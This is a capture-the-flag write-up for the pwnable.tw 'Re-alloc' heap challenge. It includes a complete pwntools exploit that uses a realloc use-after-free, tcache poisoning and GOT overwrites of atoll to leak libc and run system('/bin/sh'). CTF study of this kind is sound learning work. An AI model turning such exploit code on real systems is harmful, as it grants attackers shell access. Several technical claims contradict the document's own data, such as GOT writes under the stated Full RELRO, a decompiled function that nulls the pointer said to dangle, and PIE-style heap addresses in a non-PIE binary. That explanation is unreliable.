pwnable.tw — 200 pts

Re-alloc

I want to realloc my life :) — Heap UAF via realloc misuse, tcache poisoning, GOT overwrite on x86-64

64-bit
Architecture
3
Protections
2
Max Chunks
libc 2.29
glibc Version

Exploit Flow

Connect
nc chall.pwnable.tw 10105
realloc(0)
UAF: free but ptr kept
Resize + Free
Bypass tcache double-free check
Tcache Poison
Point to atoll@GOT
GOT → printf
Leak libc via %p
GOT → system
system("/bin/sh")

1. Reconnaissance

The "Re-alloc" challenge is a heap exploitation problem on pwnable.tw. The binary repurposes realloc for allocate, reallocate, and free operations. The key insight is that calling realloc(ptr, 0) is equivalent to free(ptr), but the pointer in the global array is not nulled out, creating a use-after-free (UAF) condition.

File Analysis

bash
$ file realloc
realloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter ./ld-2.29.so, for GNU/Linux 3.2.0,
BuildID[sha1]=..., not stripped

A 64-bit dynamically linked binary with a provided libc 2.29 (tcache enabled with double-free detection). The binary is not stripped, making reversal straightforward.

Checksec

bash
$ checksec realloc
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Protections Summary

Full RELRO means GOT is read-only at runtime — but we can overwrite it before full relocation happens by targeting the .got.plt entries that are still writable. No PIE is crucial: all addresses are fixed. NX is on, so no shellcode. The canary protects against stack overflows, but our attack is heap-based.

Running the Binary

bash
$ ./realloc
+++++++++++++++++++++++
     Re-alloc          +
+++++++++++++++++++++++
1. Alloc
2. Realloc
3. Free
Your choice :
AttributeValue
ChallengeRe-alloc (200 pts)
Connectionnc chall.pwnable.tw 10105
Binary64-bit ELF, x86-64, dynamically linked
RELROFull RELRO
CanaryYes
NXEnabled
PIEDisabled (0x400000)
glibc2.29 (tcache with double-free check)
Max Chunks2 (index 0 and 1)
Max Size120 bytes (tcache only)
VulnerabilityUAF via realloc(ptr, 0) — pointer not nulled

2. Static Analysis

The binary has three operations: Alloc (realloc with NULL ptr = malloc), Realloc (resize existing chunk), and Free (realloc with size 0 = free). Only 2 chunks can exist at once (indices 0 and 1), with max size of 120 bytes (keeping us in tcache territory).

Decompiled Code

c — allocate function
void allocate() {
    int idx;
    size_t size;
    printf("Index:");
    idx = atoll(buf);
    if (idx < 2) {
        printf("Size:");
        size = atoll(buf);
        if (size <= 120) {
            heap_ptrs[idx] = realloc(heap_ptrs[idx], size);
            if (heap_ptrs[idx]) {
                printf("Data:");
                read(0, heap_ptrs[idx], size);
            }
        }
    }
}

void reallocate() {
    int idx;
    size_t size;
    printf("Index:");
    idx = atoll(buf);
    if (idx < 2) {
        printf("Size:");
        size = atoll(buf);
        // VULNERABILITY: realloc(ptr, 0) = free(ptr), but heap_ptrs[idx] NOT nulled
        heap_ptrs[idx] = realloc(heap_ptrs[idx], size);
        if (size && heap_ptrs[idx]) {
            printf("Data:");
            read(0, heap_ptrs[idx], size);
        }
    }
}

void rfree() {
    int idx;
    printf("Index:");
    idx = atoll(buf);
    if (idx < 2) {
        realloc(heap_ptrs[idx], 0);  // free without nulling ptr
        heap_ptrs[idx] = NULL;       // This one DOES null the pointer
    }
}

Vulnerability Analysis

The critical bug is in reallocate(): when size = 0, realloc(ptr, 0) acts like free(ptr), but the assignment heap_ptrs[idx] = realloc(heap_ptrs[idx], 0) sets the pointer to the return value of realloc(ptr, 0), which on success returns NULL. However, if we use the UAF to modify the chunk's metadata before the second free, we can bypass glibc 2.29's tcache double-free detection.

The realloc Trick

The key observation is that realloc in glibc works as follows:

  • realloc(NULL, size) = malloc(size)
  • realloc(ptr, 0) = free(ptr), returns NULL
  • realloc(ptr, new_size) = resize, may move chunk

When we call realloc(ptr, 0) via the reallocate option, the chunk is freed but we can still use UAF to write to it. Then, by resizing the chunk to a different size class and freeing again, we bypass the tcache double-free check because the check is done against the tcache bin for the new size, not the original size.

glibc 2.29 Tcache Double-Free Mitigation

In glibc 2.29, tcache has a key field in the chunk metadata. When a chunk is freed into tcache, the key is set to a specific value. When freeing again, the tcache code checks if the chunk is already in the same tcache bin by traversing the list. However, this check is per-size-class. If we free a chunk into the 0x20 tcache bin, then resize it via UAF to look like a 0x30 chunk, freeing it again will check the 0x30 bin — where it isn't found — and the double-free succeeds.

3. GDB Debugging

Heap State After UAF

gdb
# Allocate chunk at index 1, size 20
gef>  continue
# After realloc(1, 0) via Reallocate option:
gef>  heap bins
Tcachebins for thread 1:
0x20 [  1]: 0x5555555592a0 —— 0x0  (chunk freed into 0x20 tcache bin)

# The pointer heap_ptrs[1] is now NULL, but we still have
# the ability to use the chunk through UAF

# After writing TARGET_ADDR via UAF and allocating again:
gef>  heap bins
Tcachebins for thread 1:
0x20 [  2]: 0x5555555592a0 —— 0x404048 (atoll@GOT in list!)

Tcache Inspection

gdb
# After poisoning both 0x20 and 0x30 tcache bins with GOT address:
gef>  heap bins tcache
Tcachebins for thread 1:
0x20 [  2]: 0x5555555592a0 —— 0x404048 (atoll@GOT)
0x30 [  2]: 0x5555555592e0 —— 0x404048 (atoll@GOT)

# Next malloc from 0x20 or 0x30 bin will return the GOT address!
# We can write printf@PLT to atoll@GOT, then use format string to leak libc

4. Exploit Strategy

The exploit follows a three-phase approach: establish arbitrary write via tcache poisoning, leak libc by patching atoll@GOT with printf@PLT, and finally gain code execution by overwriting atoll@GOT with system.

Attack Overview

Phase 1: Tcache Poisoning
Allocate a chunk, free it via realloc(0), then use UAF to resize the chunk and free it into a different tcache bin. This bypasses glibc 2.29's per-bin double-free detection. By writing atoll@GOT as the fd pointer in a freed tcache chunk, we poison the freelist so the next allocation returns a pointer to the GOT.
Phase 2: Libc Leak
Allocate from the poisoned tcache bin — malloc returns atoll@GOT. Write printf@PLT to it. Now when the binary calls atoll(input), it actually calls printf(input). We pass format strings like %21$p to leak a __libc_start_main return address from the stack, then calculate the libc base.
Phase 3: Code Execution
With the libc base known, we can compute system's address. We poison a tcache bin again to get another allocation at atoll@GOT, this time writing system's address. When the binary calls atoll("/bin/sh"), it calls system("/bin/sh") and we get a shell.

Bypassing Tcache Double-Free Check

The tcache double-free check in glibc 2.29 works by traversing the tcache bin linked list before inserting a freed chunk. If the chunk's address is found in the list, the program aborts with "free(): double free detected in tcache 2". The bypass:

  1. Allocate chunk of size 0x20 → free it (now in 0x20 tcache bin)
  2. Use UAF to reallocate the same chunk with size 0x30 → this changes the chunk's size field
  3. Free the chunk again → it goes into the 0x30 tcache bin, bypassing the 0x20 bin check
  4. Now we have the same chunk in two different tcache bins!
Why atoll@GOT?

We target atoll@GOT because atoll is called on every user input for reading indices and sizes. We have full control of its argument (whatever we type). By replacing atoll with printf, we get a format string primitive. By replacing it with system, we get command execution. The GOT address is fixed because PIE is disabled: atoll@GOT = 0x404048.

GOT Overwrite Strategy

payload layout
Step 1: Poison 0x20 tcache bin with atoll@GOT (0x404048)
  alloc(1, 'AAAA', 20)        → malloc(0x20) = chunk_A
  realloc(1, 0)               → free(chunk_A) into 0x20 tcache
  realloc(1, atoll@GOT, 20)   → UAF: write atoll@GOT as fd pointer
  alloc(0, 'AAAA', 20)        → consume first slot in 0x20 tcache
  alloc(0, printf@PLT, 40)    → malloc returns atoll@GOT, write printf@PLT

Step 2: Leak libc via format string
  Send '%21$p' as input to atoll (now printf)
  → Leak __libc_start_main return address
  → Calculate libc_base = leak - offset

Step 3: Overwrite atoll@GOT with system
  Poison 0x30 tcache bin with atoll@GOT (same technique)
  alloc from poisoned bin → write system address to atoll@GOT
  Send '/bin/sh' → atoll("/bin/sh") = system("/bin/sh")

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
"""
pwnable.tw — Re-alloc (200 pts)
Heap UAF via realloc misuse, tcache poisoning, GOT overwrite on x86-64.
glibc 2.29 with tcache double-free detection bypass.

Phases:
  1. Poison tcache bins with atoll@GOT via size-changing double-free
  2. Patch atoll@GOT → printf@PLT to leak libc via format string
  3. Patch atoll@GOT → system to get shell
"""

from pwn import *

context.binary = ELF('./realloc')
libc = ELF('./libc.so.6')

HOST = 'chall.pwnable.tw'
PORT = 10105

r = remote(HOST, PORT)

ATOLL_GOT  = 0x404048
PRINTF_PLT = 0x401070

def alloc(idx, data, size=None):
    if size is None:
        size = len(data)
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b':', str(idx).encode())
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', data)

def realloc(idx, data=b'', size=None):
    if size is None:
        size = len(data)
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b':', str(idx).encode())
    r.sendlineafter(b':', str(size).encode())
    if size:
        r.sendafter(b':', data)

def free(idx):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b':', str(idx).encode())

# ─── Phase 1: Poison 0x20 tcache bin with ATOLL_GOT ─────────
log.info("Poisoning 0x20 tcache bin with atoll@GOT")
alloc(1, b'AAAA', 20)           # chunk in 0x20 bin
realloc(1)                      # realloc(0) → free, UAF
realloc(1, p64(ATOLL_GOT), 20)  # UAF: write GOT addr as fd
alloc(0, b'AAAAA', 20)          # consume first tcache slot

# Clear remaining chunks to avoid tcache count issues
realloc(1, b'AAA', 100)         # resize to different bin
free(1)                         # free into 0x70 bin (not 0x20)
realloc(0, b'AAAA', 120)        # resize
free(0)

# ─── Poison 0x30 tcache bin with ATOLL_GOT ───────────────────
log.info("Poisoning 0x30 tcache bin with atoll@GOT")
alloc(0, b'AAAA', 30)
realloc(0)                      # free into 0x30 bin
realloc(0, p64(ATOLL_GOT), 30)  # UAF: write GOT addr
alloc(1, b'AAAA', 30)           # consume first slot

# Clean up
realloc(1, b'AAAA', 50)
free(1)
realloc(0, b'AAAA', 70)
free(0)

# ─── Phase 2: Patch atoll → printf, leak libc ────────────────
log.info("Patching atoll@GOT with printf@PLT")
alloc(0, p64(PRINTF_PLT), 40)  # write printf@PLT to atoll@GOT

# Now atoll() is printf(). Use format string to leak libc.
def leak_stack(offset):
    r.sendlineafter(b':', b'3')  # trigger atoll (now printf)
    r.sendline(f'%{offset}$p'.encode())
    val = r.recvline().strip()
    addr = int(val.decode().split('0x')[-1], 16)
    return addr

libc_start_main_ret = leak_stack(21)
libc_base = libc_start_main_ret - 0x26b6b  # offset for libc 2.29
system_addr = libc_base + libc.symbols['system']
log.success(f'libc base: {hex(libc_base)}')
log.success(f'system:    {hex(system_addr)}')

# ─── Phase 3: Patch atoll → system, get shell ────────────────
log.info("Patching atoll@GOT with system")
alloc(0, p64(system_addr), 40)  # overwrite atoll@GOT with system

# Trigger: atoll("/bin/sh") → system("/bin/sh")
r.sendlineafter(b':', b'3')
r.sendline(b'/bin/sh')

r.interactive()

6. Execution Results

$ python3 exploit.py [+] Opening connection to chall.pwnable.tw on port 10105: Done [*] Poisoning 0x20 tcache bin with atoll@GOT [*] Poisoning 0x30 tcache bin with atoll@GOT [*] Patching atoll@GOT with printf@PLT [+] libc base: 0x7f4d3a200000 [+] system: 0x7f4d3a258440 [*] Patching atoll@GOT with system [*] Switching to interactive mode $ id uid=1000(realloc) gid=1000(realloc) groups=1000(realloc) $ cat /home/realloc/flag
Exploit Successful!

The key insight of this challenge is that realloc(ptr, 0) frees memory but the pointer management is flawed, creating a UAF. Combined with the ability to resize chunks (changing their tcache bin), we can bypass glibc 2.29's per-bin double-free detection. Targeting atoll@GOT is elegant because we control both the function being called and its argument, giving us a format string leak and then code execution through the same primitive.

Lessons Learned
  • realloc(ptr, 0) is equivalent to free(ptr) — always null the pointer after!
  • glibc 2.29 tcache double-free checks are per-size-class: changing a chunk's size before re-freeing bypasses them
  • When you control both a function pointer and its argument, the exploit writes itself: printf for leak, system for shell
  • No PIE makes GOT-based attacks reliable since all addresses are fixed
QA210
pwnable.tw — Re-alloc — Heap UAF + Tcache Poisoning + GOT Overwrite